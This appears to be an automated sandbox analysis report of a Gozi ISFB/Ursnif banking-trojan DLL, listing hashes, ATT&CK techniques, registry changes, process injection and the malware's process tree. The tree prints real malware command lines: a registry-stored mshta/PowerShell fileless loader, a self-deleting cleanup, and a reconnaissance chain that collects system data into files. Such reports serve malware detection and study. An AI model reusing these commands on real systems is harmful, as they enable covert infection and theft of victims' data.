gozi_ifsb | 6b1e27915fa85d6bde40c512865e57c555e7bb02f1dc192a9b827c74c8984780

Analysis

max time kernel
147s
max time network
146s
platform
windows7_x64
resource
win7v20201028
submitted
25-11-2020 23:00

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https___purefile24.top_4352wedfoifom.php.dll
Size

545KB
MD5

e221c9a4b1ac13310d037cbc764b86d9
SHA1

a7dbb7283b3b164993c1c122189e42509fe5573d
SHA256

6b1e27915fa85d6bde40c512865e57c555e7bb02f1dc192a9b827c74c8984780
SHA512

56c649d6a79f68924fe55973836f51cb10bbf1ed82366ea3be9be4f8dbf8e56aa4a2aedd933fa977d2109fd9abd7ea947d77e40659f00c80f645a18580cbf12c

Score

10^/10

gozi_ifsb ursnif banker spyware trojan

Malware Config

Signatures

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
Ursnif, Dreambot
Ursnif is a variant of the Gozi IFSB with more capabilities.
banker trojan ursnif
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1164 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1164	cmd.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

description	pid	process	target process
PID 948 set thread context of 1268	948	powershell.exe	Explorer.EXE
PID 1268 set thread context of 1164	1268	Explorer.EXE	cmd.exe
PID 1164 set thread context of 1696	1164	cmd.exe	PING.EXE
PID 1268 set thread context of 1120	1268	Explorer.EXE	cmd.exe

Discovers systems in the same network 1 TTPs 1 IoCs
discovery

Remote System Discovery
T1018

Processes:

net.exe

pid process

1212 net.exe
Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery
T1057

Processes:

tasklist.exe

pid process

1680 tasklist.exe
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

396 systeminfo.exe

pid	process
1212	net.exe

pid	process
1680	tasklist.exe

pid	process
396	systeminfo.exe

Modifies Internet Explorer settings 1 TTPs 61 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeiexplore.exeIEXPLORE.EXEIEXPLORE.EXEIEXPLORE.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a6000000000020000000000106600000001000020000000437aaaf64589a96ffc566022a1be124d96897f4121af2146aa23ad64a311cc6e000000000e80000000020000200000008e8bc5b57c48d8082810a755d7bdbfa821b2de270816f9482ffc4ad46eab29012000000035d7ccaac6165e556ee5a830e740785fe2846ebe98af48d547ea9d7e2fcebe22400000004fe2193ad4eadde78397e422dc573749c098f1f69f2fb4e6d70ed2a55a6cd8c184abc59235ed54cd37df1d9b689e1101e6c53060a1839b4c33179496e0f9d359	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 306532557ec3d601	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3d0000003d000000c3040000a2020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{99424D41-2F71-11EB-A309-520DDC0DB10A} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{7DD8F7C1-2F71-11EB-A309-520DDC0DB10A} = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000039e08b06c84715459283081ff7bb5a6000000000020000000000106600000001000020000000f71f681315a795845610966dc75d8c0dd71cca111f6a7a926b41e82a536c2930000000000e800000000200002000000024cdcfb08a3529873525c1bdf005ce70cfcf6d69471c4028772eab703328e14b9000000066f6b9bfbbe7f1457d4ffed3d50cb4f7760f55344602c80a97cf809820145c3f5d0a54b3c5cfd7a6997eb69ed24ad715fa0f2a7e49c0a60748ab36a3b83693ac4109c60ebd23186761e99103f0a254bf84cebe7f43d0841ac929ea3e7b8a232ca0ef9990d207f8cc2fae3b1093eb2f4a674dbd9a6e368b633d9e80fddc76aa8d4c18c7398936cdb9972a5b37366255fe400000003e6bd3e0666771c24790c95cd2e33e35887ef4b86863bc8485976806a094d18b139472f0de236dc04dcb5bfc97c9a4ac1574dc7f456781cf63b7fd3d3d6b5233	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1696 PING.EXE
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

PING.EXE

pid process

1696 PING.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

rundll32.exepowershell.exeExplorer.EXE

pid process

2012 rundll32.exe
948 powershell.exe
948 powershell.exe
1268 Explorer.EXE
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

powershell.exeExplorer.EXEcmd.exe

pid process

948 powershell.exe
1268 Explorer.EXE
1164 cmd.exe
1268 Explorer.EXE
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exetasklist.exe

description pid process

Token: SeDebugPrivilege 948 powershell.exe
Token: SeDebugPrivilege 1680 tasklist.exe
Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

iexplore.exeiexplore.exe

pid process

1364 iexplore.exe
1652 iexplore.exe
1652 iexplore.exe
1652 iexplore.exe

pid	process
1696	PING.EXE

pid	process
1696	PING.EXE

pid	process
2012	rundll32.exe
948	powershell.exe
948	powershell.exe
1268	Explorer.EXE

pid	process
948	powershell.exe
1268	Explorer.EXE
1164	cmd.exe
1268	Explorer.EXE

description	pid	process
Token: SeDebugPrivilege	948	powershell.exe
Token: SeDebugPrivilege	1680	tasklist.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

iexplore.exeIEXPLORE.EXEiexplore.exeIEXPLORE.EXEIEXPLORE.EXEExplorer.EXE

pid	process
1364	iexplore.exe
1364	iexplore.exe
1476	IEXPLORE.EXE
1476	IEXPLORE.EXE
1652	iexplore.exe
1652	iexplore.exe
1936	IEXPLORE.EXE
1936	IEXPLORE.EXE
1652	iexplore.exe
1652	iexplore.exe
544	IEXPLORE.EXE
544	IEXPLORE.EXE
1652	iexplore.exe
1652	iexplore.exe
1936	IEXPLORE.EXE
1936	IEXPLORE.EXE
1268	Explorer.EXE

Suspicious use of WriteProcessMemory 125 IoCs

Processes:

rundll32.exeiexplore.exeiexplore.exemshta.exepowershell.execsc.execsc.exeExplorer.EXEcmd.execmd.execmd.exe

description	pid	process	target process
PID 1732 wrote to memory of 2012	1732	rundll32.exe	rundll32.exe
PID 1732 wrote to memory of 2012	1732	rundll32.exe	rundll32.exe
PID 1732 wrote to memory of 2012	1732	rundll32.exe	rundll32.exe
PID 1732 wrote to memory of 2012	1732	rundll32.exe	rundll32.exe
PID 1732 wrote to memory of 2012	1732	rundll32.exe	rundll32.exe
PID 1732 wrote to memory of 2012	1732	rundll32.exe	rundll32.exe
PID 1732 wrote to memory of 2012	1732	rundll32.exe	rundll32.exe
PID 1364 wrote to memory of 1476	1364	iexplore.exe	IEXPLORE.EXE
PID 1364 wrote to memory of 1476	1364	iexplore.exe	IEXPLORE.EXE
PID 1364 wrote to memory of 1476	1364	iexplore.exe	IEXPLORE.EXE
PID 1364 wrote to memory of 1476	1364	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 1936	1652	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 1936	1652	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 1936	1652	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 1936	1652	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 544	1652	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 544	1652	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 544	1652	iexplore.exe	IEXPLORE.EXE
PID 1652 wrote to memory of 544	1652	iexplore.exe	IEXPLORE.EXE
PID 1612 wrote to memory of 948	1612	mshta.exe	powershell.exe
PID 1612 wrote to memory of 948	1612	mshta.exe	powershell.exe
PID 1612 wrote to memory of 948	1612	mshta.exe	powershell.exe
PID 948 wrote to memory of 1120	948	powershell.exe	csc.exe
PID 948 wrote to memory of 1120	948	powershell.exe	csc.exe
PID 948 wrote to memory of 1120	948	powershell.exe	csc.exe
PID 1120 wrote to memory of 1468	1120	csc.exe	cvtres.exe
PID 1120 wrote to memory of 1468	1120	csc.exe	cvtres.exe
PID 1120 wrote to memory of 1468	1120	csc.exe	cvtres.exe
PID 948 wrote to memory of 1716	948	powershell.exe	csc.exe
PID 948 wrote to memory of 1716	948	powershell.exe	csc.exe
PID 948 wrote to memory of 1716	948	powershell.exe	csc.exe
PID 1716 wrote to memory of 1616	1716	csc.exe	cvtres.exe
PID 1716 wrote to memory of 1616	1716	csc.exe	cvtres.exe
PID 1716 wrote to memory of 1616	1716	csc.exe	cvtres.exe
PID 948 wrote to memory of 1268	948	powershell.exe	Explorer.EXE
PID 948 wrote to memory of 1268	948	powershell.exe	Explorer.EXE
PID 948 wrote to memory of 1268	948	powershell.exe	Explorer.EXE
PID 1268 wrote to memory of 1164	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1164	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1164	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1164	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1164	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1164	1268	Explorer.EXE	cmd.exe
PID 1164 wrote to memory of 1696	1164	cmd.exe	PING.EXE
PID 1164 wrote to memory of 1696	1164	cmd.exe	PING.EXE
PID 1164 wrote to memory of 1696	1164	cmd.exe	PING.EXE
PID 1164 wrote to memory of 1696	1164	cmd.exe	PING.EXE
PID 1164 wrote to memory of 1696	1164	cmd.exe	PING.EXE
PID 1164 wrote to memory of 1696	1164	cmd.exe	PING.EXE
PID 1268 wrote to memory of 1996	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1996	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1996	1268	Explorer.EXE	cmd.exe
PID 1996 wrote to memory of 2040	1996	cmd.exe	nslookup.exe
PID 1996 wrote to memory of 2040	1996	cmd.exe	nslookup.exe
PID 1996 wrote to memory of 2040	1996	cmd.exe	nslookup.exe
PID 1268 wrote to memory of 1956	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1956	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1956	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1852	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1852	1268	Explorer.EXE	cmd.exe
PID 1268 wrote to memory of 1852	1268	Explorer.EXE	cmd.exe
PID 1852 wrote to memory of 396	1852	cmd.exe	systeminfo.exe
PID 1852 wrote to memory of 396	1852	cmd.exe	systeminfo.exe
PID 1852 wrote to memory of 396	1852	cmd.exe	systeminfo.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1268

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\https___purefile24.top_4352wedfoifom.php.dll,#1
2⤵
- Suspicious use of WriteProcessMemory
PID:1732

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\https___purefile24.top_4352wedfoifom.php.dll,#1
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2012

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\CB4B3BAF-AEAE-3526-102F-C23944D3167D\\\Auxisext'));if(!window.flag)close()</script>"
2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\CB4B3BAF-AEAE-3526-102F-C23944D3167D").aepiesrv))
3⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:948

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ycjmv342\ycjmv342.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:1120

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES27EB.tmp" "c:\Users\Admin\AppData\Local\Temp\ycjmv342\CSC8E981CB323214962AC5BB986F42BE7C.TMP"
5⤵
PID:1468

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hfcfniyf\hfcfniyf.cmdline"
4⤵
- Suspicious use of WriteProcessMemory
PID:1716

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2877.tmp" "c:\Users\Admin\AppData\Local\Temp\hfcfniyf\CSC889A7D3AA8E5460FB4BF66324174B0F.TMP"
5⤵
PID:1616

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\https___purefile24.top_4352wedfoifom.php.dll"
2⤵
- Deletes itself
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1164

C:\Windows\system32\PING.EXE
ping localhost -n 5
3⤵
- Runs ping.exe
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:1696

C:\Windows\system32\cmd.exe
cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\2A50.bi1"
2⤵
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\system32\nslookup.exe
nslookup myip.opendns.com resolver1.opendns.com
3⤵
PID:2040

C:\Windows\system32\cmd.exe
cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2A50.bi1"
2⤵
PID:1956

C:\Windows\system32\cmd.exe
cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\system32\systeminfo.exe
systeminfo.exe
3⤵
- Gathers system information
PID:396

C:\Windows\syswow64\cmd.exe
"C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
2⤵
PID:1120

C:\Windows\system32\cmd.exe
cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1360

C:\Windows\system32\cmd.exe
cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1544

C:\Windows\system32\net.exe
net view
3⤵
- Discovers systems in the same network
PID:1212

C:\Windows\system32\cmd.exe
cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1940

C:\Windows\system32\cmd.exe
cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1860

C:\Windows\system32\nslookup.exe
nslookup 127.0.0.1
3⤵
PID:1356

C:\Windows\system32\cmd.exe
cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:844

C:\Windows\system32\cmd.exe
cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1616

C:\Windows\system32\tasklist.exe
tasklist.exe /SVC
3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1680

C:\Windows\system32\cmd.exe
cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1056

C:\Windows\system32\cmd.exe
cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:944

C:\Windows\system32\driverquery.exe
driverquery.exe
3⤵
PID:1576

C:\Windows\system32\cmd.exe
cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1188

C:\Windows\system32\cmd.exe
cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1612

C:\Windows\system32\reg.exe
reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
3⤵
PID:1532

C:\Windows\system32\cmd.exe
cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1148

C:\Windows\system32\cmd.exe
cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\4F64.bin1 > C:\Users\Admin\AppData\Local\Temp\4F64.bin & del C:\Users\Admin\AppData\Local\Temp\4F64.bin1"
2⤵
PID:1952

C:\Windows\system32\makecab.exe
makecab.exe /F "C:\Users\Admin\AppData\Local\Temp\CB3E.bin"
2⤵
PID:1680

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1364

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1364 CREDAT:275457 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1476

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1652

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1652 CREDAT:275457 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1936

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1652 CREDAT:4076556 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:544

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Remote System Discovery

T1018

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\imagestore\w5ukms8\imagestore.dat
MD5
0cf7b69e0e4bbc365e7e6c9f05711e38

SHA1
7c043f89c9add427e63332fdc68e096c5632341b

SHA256
992d2b7cc0ec03e4c9128c90441efe48d3c7f4cb508479e5830a725767befd47

SHA512
9e637cde0a8e5da20a886938b1eb8fd00db933e386f92d00ff75cab01efb8e91851b01e875754edf1c715adb3e70cf894283076766fd18b1f9f3db8dd1cb8d9b

Download Submit
